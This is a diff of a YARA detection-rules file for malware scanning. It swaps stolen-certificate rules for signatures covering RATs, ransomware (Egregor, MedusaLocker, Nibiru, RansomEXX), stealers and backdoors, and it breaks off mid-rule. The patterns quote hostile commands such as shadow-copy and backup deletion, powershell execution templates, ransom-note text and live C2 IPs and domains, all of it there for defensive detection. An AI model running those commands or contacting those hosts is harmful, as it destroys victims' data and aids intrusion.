 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
-		thumbprint = "cca4a461592e6adff4e0a4458ebe29ee4de5f04c638dbd3b7ee30f3519cfd7e5"
-		importance = 20
+		snort2_sid = "920070"
+		snort3_sid = "920070"
+		clamav_sig = "MALWARE.Win.Trojan.RevCodeRAT"
+
+	strings:
+		$x1 = "rev-novm.dat" fullword wide
+		$x2 = "WebMonitor-" fullword wide
+		$x3 = "WebMonitor Client" fullword wide
+		$x4 = "Launch WebMonitor" fullword wide
+		$s1 = "KEYLOG_DEL" fullword ascii
+		$s2 = "KEYLOG_STREAM_START" fullword ascii
+		$s3 = "send_keylog_del" fullword ascii
+		$s4 = "send_keylog_stream_" ascii
+		$s5 = "send_shell_exec" fullword ascii
+		$s6 = "send_file_download_exec" fullword ascii
+		$s7 = "send_pdg_exec" fullword ascii
+		$s8 = "send_app_cmd_upd" fullword ascii
+		$s9 = "send_webcamstream_start" fullword ascii
+		$s10 = "send_screenstream_start" fullword ascii
+		$s11 = "send_clipboard_get" fullword ascii
+		$s12 = "send_pdg_rev_proxy_stop" fullword ascii
+		$s13 = "send_shell_stop" fullword ascii
+		$s14 = "send_wnd_cmd" fullword ascii
+		$s15 = "SCREEN_STREAM_LEGACY(): Started..." fullword ascii
+		$s16 = "SYSTEM_INFORMATION(): Failed! (Error:" fullword ascii
+		$s17 = "TARGET_HOST_UPDATE(): Sync successful!" fullword ascii
+		$s18 = "PLUGIN_PROCESS_REVERSE_PROXY: Plugin" ascii
+		$s19 = "PLUGIN_PROCESS: Plugin" ascii
+		$s20 = "PLUGIN_EXEC: Plugin" ascii
+		$s21 = "PLUGIN_PROCESS_SCREEN_STREAM: Plugin" ascii
+		$cnc1 = "?task_id=" fullword ascii
+		$cnc2 = "&operation=" fullword ascii
+		$cnc3 = "&filesize=" fullword ascii
+		$cnc4 = "pos=" fullword ascii
+		$cnc5 = "&mode=" fullword ascii
+		$cnc6 = "&cmp=1" fullword ascii
+		$cnc7 = "&cmp=0" fullword ascii
+		$cnc8 = "&enc=1" fullword ascii
+		$cnc9 = "&enc=0" fullword ascii
+		$cnc10 = "&user=" fullword ascii
+		$cnc11 = "&uid=" fullword ascii
+		$cnc12 = "&key=" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BurnAware" and pe.signatures[i].serial=="c0:1e:41:ff:29:07:8e:66:26:a6:40:c5:a1:9a:8d:80")
+		uint16(0)==0x5a4d and (3 of ($x*) or all of ($cnc*) or 8 of ($s*) or (1 of ($x*) and 6 of ($s*)) or (6 of ($cnc*) and 6 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Fa3Dcac19B884B44Ef4F81541184D6B0 : FILE
+rule DITEKSHEN_MALWARE_Win_Powerpool_STG1 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects first stage PowerPool backdoor"
 		author = "ditekSHen"
-		id = "a188e033-4381-5ff0-8f54-f36571ae7097"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8531c22d-8d71-5794-b9c8-0a4cd81bb2b0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1426-L1437"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2334-L2361"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7e9e2b22f6f2cfd5d7c962fb43c85d703d0a600f954f614073c708f4b881d90e"
+		logic_hash = "9ab00d6e3007743a8bb30fbcdb435ac49101b52face55549ae454c64345caff9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6557117e37296d7fdcac23f20b57e3d52cabdb8e5aa24d3b78536379d57845be"
-		importance = 20
+		snort2_sid = "920088"
+		snort3_sid = "920086"
+		clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-1"
+
+	strings:
+		$s1 = "cmd /c powershell.exe $PSVersionTable.PSVersion > \"%s\"" fullword wide
+		$s2 = "cmd /c powershell.exe \"%s\" > \"%s\"" fullword wide
+		$s3 = "rar.exe a -r %s.rar -ta%04d%02d%02d%02d%02d%02d -tb%04d%02d%02d%02d%02d%02d" fullword wide
+		$s4 = "MyDemonMutex%d" fullword wide
+		$s5 = "MyScreen.jpg" fullword wide
+		$s6 = "proxy.log" fullword wide
+		$s7 = "myjt.exe" fullword wide
+		$s8 = "/?id=%s&info=%s" fullword wide
+		$s9 = "auto.cfg" fullword ascii
+		$s10 = "Mozilla/5.0 (Windows NT 6.1; WOW64)" fullword wide
+		$s11 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" fullword wide
+		$s12 = "CMD COMMAND EXCUTE ERROR!" fullword ascii
+		$c1 = "run.afishaonline.eu" fullword wide
+		$c2 = "home.Sports-Collectors.com" fullword wide
+		$c3 = "about.Sports-Collectors.com" fullword
+		$c4 = "179.43.158.15" fullword wide
+		$c5 = "185.227.82.35" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Unicom Ltd" and pe.signatures[i].serial=="00:fa:3d:ca:c1:9b:88:4b:44:ef:4f:81:54:11:84:d6:b0")
+		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($c*) and 5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_70E1Ebd170Db8102D8C28E58392E5632 : FILE
+rule DITEKSHEN_MALWARE_Win_Powerpool_STG2 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects second stage PowerPool backdoor"
 		author = "ditekSHen"
-		id = "f5ccfbdd-d72d-5060-84e6-0ab8477f73fe"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1a059900-3292-5419-a143-caea3e710191"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1439-L1450"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2363-L2395"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b639424c97fb1da440c458cf5cb8f04562292284db7b576c0676a632704f597b"
+		logic_hash = "b80712bab281dbde816e2eda6ab1b4a9e21be26578fb755a1e1e1635675aa911"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "90d67006be03f2254e1da76d4ea7dc24372c4f30b652857890f9d9a391e9279c"
-		importance = 20
+		snort2_sid = "920089-920091"
+		snort3_sid = "920087-920089"
+		clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-2"
+
+	strings:
+		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
+		$s2 = "LookupAccountSid Error %u" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; )" fullword ascii
+		$s4 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii
+		$s5 = "Content-Disposition: form-data; name=\"%s\"" fullword ascii
+		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
+		$s7 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii
+		$s8 = "in Json::Value::find" fullword ascii
+		$s9 = "in Json::Value::resolveReference" fullword ascii
+		$s10 = "in Json::Value::duplicateAndPrefixStringValue" fullword ascii
+		$s11 = ".?AVLogicError@Json@@" fullword ascii
+		$s12 = ".?AVRuntimeError@Json@@" fullword ascii
+		$s13 = "http:\\\\82.221.101.157:80" ascii
+		$s14 = "http://172.223.112.130:80" ascii
+		$s15 = "http://172.223.112.130:443" ascii
+		$s16 = "http://info.newsrental.net:80" ascii
+		$s17 = "%s|%I64d" ascii
+		$s18 = "open internet failed..." ascii
+		$s19 = "connect failed..." ascii
+		$s20 = "handle not opened..." ascii
+		$s21 = "corrupted regex pattern" fullword ascii
+		$s22 = "add cookie failed..." ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Equal Cash Technologies Limited" and pe.signatures[i].serial=="70:e1:eb:d1:70:db:81:02:d8:c2:8e:58:39:2e:56:32")
+		uint16(0)==0x5a4d and 14 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6Cfa5050C819C4Acbb8Fa75979688Dff : FILE
+rule DITEKSHEN_MALWARE_Win_Egregor : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Egregor ransomware variants"
 		author = "ditekSHen"
-		id = "35673979-5578-5d32-b8f9-9e74f0c336a2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2e24d4ec-39c2-5148-80a1-04f96bc8b477"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1452-L1463"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2397-L2434"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e5978deb84a0c6cee9132f8806f239f33478462da31a423a04922c195cbd343a"
+		logic_hash = "d39a7bf89a7574f7dfe56db78c8cdbbee97782f829805d4ee87fd9f1635154cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e7241394097402bf9e32c87cada4ba5e0d1e9923f028683713c2f339f6f59fa9"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Egregor"
+
+	strings:
+		$s1 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
+		$p1 = "--deinstall" fullword wide
+		$p2 = "--del" fullword wide
+		$p3 = "--exit" fullword wide
+		$p4 = "--kill" fullword wide
+		$p5 = "--loud" fullword wide
+		$p6 = "--nooperation" fullword wide
+		$p7 = "--nop" fullword wide
+		$p8 = "--skip" fullword wide
+		$p9 = "--useless" fullword wide
+		$p10 = "--yourmommy" fullword wide
+		$p11 = "-passegregor" ascii wide
+		$p12 = "-peguard" ascii wide
+		$p13 = "--nomimikatz" ascii wide
+		$p14 = "--multiproc" ascii wide
+		$p15 = "--killrdp" ascii wide
+		$p16 = "--nonet" ascii wide
+		$p17 = "--norename" ascii wide
+		$p18 = "--greetings" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Elite Web Development Ltd." and pe.signatures[i].serial=="6c:fa:50:50:c8:19:c4:ac:bb:8f:a7:59:79:68:8d:ff")
+		( uint16(0)==0x5a4d and pe.is_dll() and (( all of ($s*) and 1 of ($p*)) or (2 of them and filesize <1000KB and for any i in (0..pe.number_of_sections) : ((pe.sections[i].name==".00cfg"))))) or 8 of ($p*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B8164F7143E1A313003Ab0C834562F1F : FILE
+rule DITEKSHEN_MALWARE_Win_Redlinedropperexe : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects executables dropping RedLine infostealer"
 		author = "ditekSHen"
-		id = "d6ebdfb9-55db-58e2-89a8-d47d747e3432"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "364ba540-60a5-5e1b-bb21-505a442eabb6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1465-L1476"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2461-L2484"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "77f8f125740de97e6fdd98103eefa2a431df0cbe2e7de44f7e863e22ebcfea4c"
+		logic_hash = "cd1fb4a1d0883221dbdcc519db7f54b0f7285e8a19201dbc586c2520e8086bc2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "263c636c5de68f0cd2adf31b7aebc18a5e00fc47a5e2124e2a5613b9a0247c1e"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-EXE"
+
+	strings:
+		$s1 = "Wizutezinod togeto0Rowadufevomuki futenujilazem jic lefogatenezinor" fullword wide
+		$s2 = "6Tatafamobevofaj bizafoju peyovavacoco lizine kezakajuj" fullword wide
+		$s3 = "Lawuherusozeru kucu zam0Zorizeyuk lepaposupu gala kinarusot ruvasaxehuwo" fullword wide
+		$s4 = "ClearEventLogW" fullword ascii
+		$s5 = "ProductionVersion" fullword wide
+		$s6 = "Vasuko)Yugenizugilobo toxocivoriye yexozoyohuzeb" wide
+		$s7 = "Yikezevavuzus gucajanesan#Rolapucededoxu xewulep fuwehofiwifi" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ekitai Data Inc." and pe.signatures[i].serial=="00:b8:16:4f:71:43:e1:a3:13:00:3a:b0:c8:34:56:2f:1f")
+		uint16(0)==0x5a4d and (pe.exports("_fgeek@8") and 2 of them ) or (2 of them and for any i in (0..pe.number_of_sections) : ((pe.sections[i].name==".rig")))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E3C7Cc0950152E9Ceead4304D01F6C89 : FILE
+rule DITEKSHEN_MALWARE_Win_Nibiru : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Nibiru ransomware"
 		author = "ditekSHen"
-		id = "8bea34fa-3620-5f5f-895f-3baa3b7b458a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "78c3bf75-1ab3-5f88-ba4b-d5a0a906d57c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1478-L1489"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2486-L2504"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "395ed4c9c8668f6416632f85883c5fd5b6038ce8388410f22bcbe2a9e6281c35"
+		logic_hash = "f3718e9091b09e0f47ecd6715a3a2c160ede6ab9fb144e7ed115dd5a25c8e379"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "82975e3e21e8fd37bb723de6fdb6e18df9d0e55f0067cc77dd571a52025c6724"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Nibiru"
+
+	strings:
+		$s1 = ".encrypt" fullword wide
+		$s2 = "crypted" fullword wide
+		$s3 = ".Nibiru" fullword wide
+		$s4 = "Encryption Complete" fullword wide
+		$s5 = "All your files,documents,important datas,mp4,mp3 and anything valuable" ascii
+		$s6 = "EncryptOrDecryptFile" fullword ascii
+		$s7 = "get_hacker" ascii
+		$s8 = "/C choice /C Y /N /D Y /T 3 & Del \"" fullword wide
+		$s9 = "Once You pay,you get the KEY to decrypt files" ascii
+		$pdb = "\\Projects\\Nibiru\\Nibiru\\obj\\x86\\Release\\Nibiru.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DNS KOMPLEKT" and pe.signatures[i].serial=="e3:c7:cc:09:50:15:2e:9c:ee:ad:43:04:d0:1f:6c:89")
+		uint16(0)==0x5a4d and (7 of them or ($pdb and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6A241Ffe96A6349Df608D22C02942268 : FILE
+rule DITEKSHEN_MALWARE_Win_Medusalocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "571f5f11-576a-511b-975d-0643ae834502"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects MedusaLocker ransomware"
+		author = "ditekshen"
+		id = "06b7645f-228d-5ec1-9b82-88caee447a5c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1491-L1502"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2506-L2537"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "41db1a9b11e2d5b8de5ba81496d0e76ea5eddacc01c77bc28c7e05496842df04"
+		logic_hash = "0e2a0a9f12f550a5c6a11731710e0dc2c2e26d17f43d2385bf6e298518631771"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "f97f4b9953124091a5053712b2c22b845b587cb2655156dcafed202fa7ceeeb1"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.MedusaLocker"
+
+	strings:
+		$x1 = "\\MedusaLockerInfo\\MedusaLockerProject\\MedusaLocker\\Release\\MedusaLocker.pdb" ascii
+		$x2 = "SOFTWARE\\Medusa" wide
+		$x3 = "=?utf-8?B?0RFQctTF0YDQcNC60IXQvdC+IEludGVybmV0IED4cGxvseVyIDEz?=" ascii
+		$s1 = "Recovery_Instructions.mht" fullword wide
+		$s2 = "README_LOCK.TXT" fullword wide
+		$s3 = "C:\\Users\\Public\\Desktop" wide
+		$s4 = "[LOCKER] " wide
+		$s5 = "TmV3LUl0ZW0gJ2" ascii
+		$s6 = "<HEAD>=20" ascii
+		$s7 = "LIST OF ENCRYPTED FILES" ascii
+		$s8 = "KEY.FILE" ascii
+		$cmd1 = { 2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00 20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 }
+		$cmd2 = "vssadmin.exe delete" wide nocase
+		$cmd3 = "bcdedit.exe /set {default}" wide
+		$cmd4 = "wbadmin delete systemstatebackup" wide nocase
+		$mut1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide
+		$mut2 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" fullword wide
+		$mut3 = "{6EDD6D74-C007-4E75-B76A-E5740995E24C}" fullword wide
+		$ext1 = { 2e 00 52 00 65 00 61 00 64 00 49 00 6e 00 73 00
+                  74 00 72 00 75 00 63 00 74 00 69 00 6f 00 6e 00
+                  73 00 00 00 00 00 00 00 2e 00 6b 00 65 00 76 00
+                  65 00 72 00 73 00 65 00 6e }
+		$ext2 = ".exe,.dll,.sys,.ini,.lnk,.rdp,.encrypted" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HELP, d.o.o." and pe.signatures[i].serial=="6a:24:1f:fe:96:a6:34:9d:f6:08:d2:2c:02:94:22:68")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and (4 of ($s*) or 1 of ($mut*))) or 6 of ($s*) or (1 of ($mut*) and 2 of ($cmd*)) or (1 of ($ext*) and 5 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C04F5D17Af872Cb2C37E3367Fe761D0D : FILE
+rule DITEKSHEN_MALWARE_Win_Ransomexx : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "9d008f04-8d02-5c6b-b38d-234409cce277"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects RansomEXX ransomware"
+		author = "ditekshen"
+		id = "4d1294de-d73c-5f9c-adb7-18ce5b5aca9f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1504-L1518"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2539-L2555"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7fa0d16600ae89e41d7b2b0655b142ea36202e8bbbf5f8e25cbb45a005995e79"
+		logic_hash = "351398d89b847b3439fa58b7aab50f3c6e48be27877d3f8b85cc78e994413ecc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7f52ece50576fcc7d66e028ecec89d3faedeeedb953935e215aac4215c9f4d63"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.RansomEXX"
+
+	strings:
+		$id = "ransom.exx" ascii
+		$s1 = "!TXDOT_READ_ME!.txt" fullword wide
+		$s2 = "debug.txt" fullword wide
+		$s3 = ".txd0t" fullword wide
+		$s4 = "crypt_detect" fullword wide
+		$s5 = "powershell.exe" fullword wide
+		$s6 = "cipher.exe" fullword ascii wide
+		$s7 = "?ReflectiveLoader@@" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DES SP Z O O" and (pe.signatures[i].serial=="00:c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d" or pe.signatures[i].serial=="c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d"))
+		uint16(0)==0x5a4d and (($id and 3 of ($s*)) or all of ($*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5C7E78F53C31D6Aa5B45De14B47Eb5C4 : FILE
+rule DITEKSHEN_MALWARE_Win_Quasarstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "e6bd4476-d287-54d9-82b3-d80f328d7831"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Quasar infostealer"
+		author = "ditekshen"
+		id = "d0d532fe-bd0a-560a-8570-f6038d694338"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1520-L1531"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2557-L2572"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0c804e7f1e43a98b150a97adcbba882f7764000abdf7c7408e3361aefa9298b5"
+		logic_hash = "4b6ab49992db4d7bf4404d51b0ef1773249de89545ec31176ad45d00803ba703"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f91d436c1c7084b83007f032ef48fecda382ff8b81320212adb81e462976ad5a"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.QuasarStealer"
+
+	strings:
+		$s1 = "PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null" fullword ascii
+		$s2 = "DQuasar.Common, Version=1.4.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii
+		$s3 = "Process already elevated." fullword wide
+		$s4 = "get_PotentiallyVulnerablePasswords" fullword ascii
+		$s5 = "GetKeyloggerLogsDirectory" ascii
+		$s6 = "set_PotentiallyVulnerablePasswords" fullword ascii
+		$s7 = "BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cubic Information Systems, UAB" and pe.signatures[i].serial=="5c:7e:78:f5:3c:31:d6:aa:5b:45:de:14:b4:7e:b5:c4")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7156Ec47Ef01Ab8359Ef4304E5Af1A05 : FILE
+rule DITEKSHEN_MALWARE_Win_Bandook : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "f77ccdb6-77b6-5c47-bde6-2b1b449f9533"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Bandook backdoor"
+		author = "ditekshen"
+		id = "c74bd688-c79e-5939-93a8-c2cd9f2cd60e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1533-L1544"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2676-L2705"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fc8073ebb9847d642f15cc74859b643afe00b3c331f68c06f3ff62c037225201"
+		logic_hash = "bff09f769aae890d81efe9926cc8ce85c1caa4eeeb6bc7d2321d2d906ac8d6cf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "59fe580974e2f813c2a00b4be01acd46c94fdea89a3049433cd5ba5a2d96666d"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Bandook"
+
+	strings:
+		$s1 = "\"%sLib\\dpx.pyc\" \"%ws\" \"%ws\" \"%ws\" \"%ws\" \"%ws\"" fullword wide
+		$s2 = "%s\\usd\\dv-%s.dat" fullword ascii
+		$s3 = "%sprd.dat" fullword ascii
+		$s4 = "%sfile\\shell\\open\\command" fullword ascii
+		$s5 = "explorer.exe , %s" fullword ascii
+		$f1 = "CaptureScreen" fullword ascii
+		$f2 = "StartShell" fullword ascii
+		$f3 = "ClearCred" fullword ascii
+		$f4 = "GrabFileFromDevice" fullword ascii
+		$f5 = "PutFileOnDevice" fullword ascii
+		$f6 = "ChromeInject" fullword ascii
+		$f7 = "StartFileMonitor" fullword ascii
+		$f8 = "DisableMouseCapture" fullword ascii
+		$f9 = "StealUSB" fullword ascii
+		$f10 = "DDOSON" fullword ascii
+		$f11 = "InstallMac" fullword ascii
+		$f12 = "SendCam" fullword ascii
+		$x1 = "RTC-TGUBP" fullword ascii
+		$x2 = "AVE_MARIA" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BOREC, OOO" and pe.signatures[i].serial=="71:56:ec:47:ef:01:ab:83:59:ef:43:04:e5:af:1a:05")
+		uint16(0)==0x5a4d and ( all of ($s*) or 6 of ($f*) or (2 of ($s*) and 3 of ($f*)) or ( all of ($x*) and (2 of ($f*) or 3 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B2E730B0526F36Faf7D093D48D6D9997 : FILE
+rule DITEKSHEN_MALWARE_Win_Kimsuky : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "7c74d3aa-dc4f-51ed-9574-74e0539cd22b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Kimsuky backdoor"
+		author = "ditekshen"
+		id = "6216b874-13f1-5283-9d17-90b7ca6996f8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1546-L1557"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2707-L2730"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "16c50b7a2b7b55662d5cdb2261a6b352657b2689a9328916fcf63ddfbef5d08f"
+		logic_hash = "9f9e64a9cfb3f61bc6b355035c5f0644e4750b740e05cb557c6183c7acfc5a19"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "10dd41eb9225b615e6e4f1dce6690bd2c8d055f07d4238db902f3263e62a04a9"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Kimsuky"
+
+	strings:
+		$s1 = "Win%d.%d.%dx64" fullword ascii
+		$s2 = ".zip" fullword ascii
+		$s3 = ".enc" fullword ascii
+		$s4 = "&p2=a" fullword ascii
+		$s5 = "Content-Disposition: form-data; name=\"binary\"; filename=\"" fullword ascii
+		$s6 = "%s/?m=a&p1=%s&p2=%s-%s-v%d" fullword ascii
+		$s7 = "/?m=b&p1=" fullword ascii
+		$s8 = "/?m=c&p1=" fullword ascii
